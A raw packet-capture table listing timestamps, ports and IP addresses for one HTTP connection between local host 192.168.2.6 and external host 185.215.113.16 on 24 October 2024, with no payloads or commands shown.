Oct 24, 2024 11:02:37.345705032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345707893 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345717907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345736980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.372256041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381052017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381064892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381077051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381088972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381104946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381160021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381184101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381205082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381217957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381225109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381237030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381248951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381249905 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381258965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381270885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381280899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381287098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381293058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381304979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381315947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381323099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381328106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381339073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381347895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381350994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381361008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381364107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381376028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381387949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381398916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.381400108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.381437063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.417994976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418020010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418030977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418085098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418095112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418097973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418109894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418128967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418144941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418401957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418446064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418486118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418531895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418544054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418555021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418575048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418591976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418606043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418616056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418620110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418637991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418649912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418653965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418661118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418667078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.418679953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418708086 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.418998957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419019938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419030905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419039011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419043064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419065952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419128895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419141054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419157982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419162989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419169903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419198990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419218063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419229031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419234991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419244051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419274092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419295073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419348955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419380903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419392109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419404984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419415951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419418097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419431925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419456005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419481039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419492006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419536114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419559956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419573069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419584036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419595957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419608116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419615984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419626951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419636965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419637918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419675112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419698000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419708967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419719934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419730902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419735909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419750929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419763088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419775009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419781923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.419806957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419819117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.419846058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420738935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420749903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420762062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420780897 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420803070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420804977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420814037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420825958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420846939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420850039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420857906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420872927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420893908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420918941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420939922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420952082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420984030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.420990944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.420994043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.421000004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.421006918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.421042919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458244085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458301067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458312035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458477974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458518028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458529949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458559990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458563089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458575010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458600044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458657980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458669901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458683014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458722115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458735943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458750010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458772898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458775043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458786011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458796978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458807945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458820105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458823919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458827019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458831072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458868027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.458928108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458940029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458951950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458964109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458975077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458986044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458996058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.458997965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459019899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459086895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459098101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459108114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459119081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459137917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459146976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459146976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459150076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459161043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459171057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459181070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459192038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459193945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459211111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459219933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459223986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459237099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459248066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459254026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459259987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459270000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459280968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459291935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459311962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459319115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459331989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459336996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459346056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459357977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459367037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459404945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459404945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459419012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459430933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459441900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459455013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459466934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459486961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459661007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459693909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459706068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459707975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459747076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459880114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459892035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459903002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459913969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459932089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459933043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459940910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459954023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459954023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459965944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459976912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.459985018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.459989071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460001945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460016966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460026026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460042000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460062981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460144043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460164070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460175991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460186958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460197926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460208893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460221052 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460228920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460238934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460246086 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460252047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460263014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460273981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460274935 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460297108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460300922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460308075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460320950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460330963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460345984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460351944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.460357904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.460381985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.461972952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.461985111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.461997986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462024927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462033987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462043047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462047100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462053061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462063074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462089062 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462095976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462146997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462160110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462169886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462182045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462191105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462193966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462204933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462218046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462255001 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462322950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462336063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462347984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462368011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462378979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462383032 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462390900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462403059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462407112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462414980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462424994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462430954 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462438107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462450981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462466955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462516069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462531090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462542057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462553978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462558031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462565899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462578058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462583065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462589979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462600946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462603092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462611914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462630033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462644100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462656021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462660074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462667942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462681055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462690115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462693930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462703943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462723970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462727070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462738037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462749004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462750912 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462762117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462779999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462785959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462793112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462805033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462805986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462819099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462833881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462837934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462853909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.462937117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462949991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462961912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462973118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462985039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.462985992 CEST	49756	80	192.168.2.6	185.215.113.16
